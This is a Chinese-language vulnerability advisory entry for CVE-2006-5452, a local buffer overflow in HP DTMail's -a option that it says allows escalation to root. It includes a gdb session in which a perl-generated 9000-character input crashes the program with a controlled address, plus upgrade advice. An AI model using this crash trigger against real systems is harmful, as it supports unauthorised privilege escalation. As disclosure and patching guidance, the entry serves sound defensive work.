CVE:CVE-2006-5452
CNNVD:CNNVD-200610-382
HP DTMail是在桌面上使用的邮件客户端。
DTMail在处理-a选项参数时存在缓冲区溢出漏洞，本地攻击者可以利用此漏洞获得root用户权限。
以下gdb输出显示了这个漏洞：
gdb) r -a -a `perl -e 'print "A" x 9000'`  
Starting program: /cluster/members/member0/tmp/dtmail -a `perl -e 
'print "A"x 9000'`  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
(no debugging symbols found)...(no debugging symbols found)...  
Program received signal SIGSEGV, Segmentation fault.  
warning: Hit heuristic-fence-post without finding  
warning: enclosing function for address 0x4141414141414140
solution:Upgrade hp hp-ux to a higher version than 11.00,11.4,11.11,11.22,11.23,and avoid the version 11.00,11.4,11.11,11.22,11.23; Upgrade hp tru64 to a higher version than 4.0f,4.0f:pk8,4.0g,4.0g:pk4,5.0a,5.1,5.1a,5.1a:pk6,5.1af,5.1b:pk1,5.1b2:pk4,5.1b3,and avoid the version 4.0f,4.0f:pk8,4.0g,4.0g:pk4,5.0a,5.1,5.1a,5.1a:pk6,5.1af,5.1b:pk1,5.1b2:pk4,5.1b3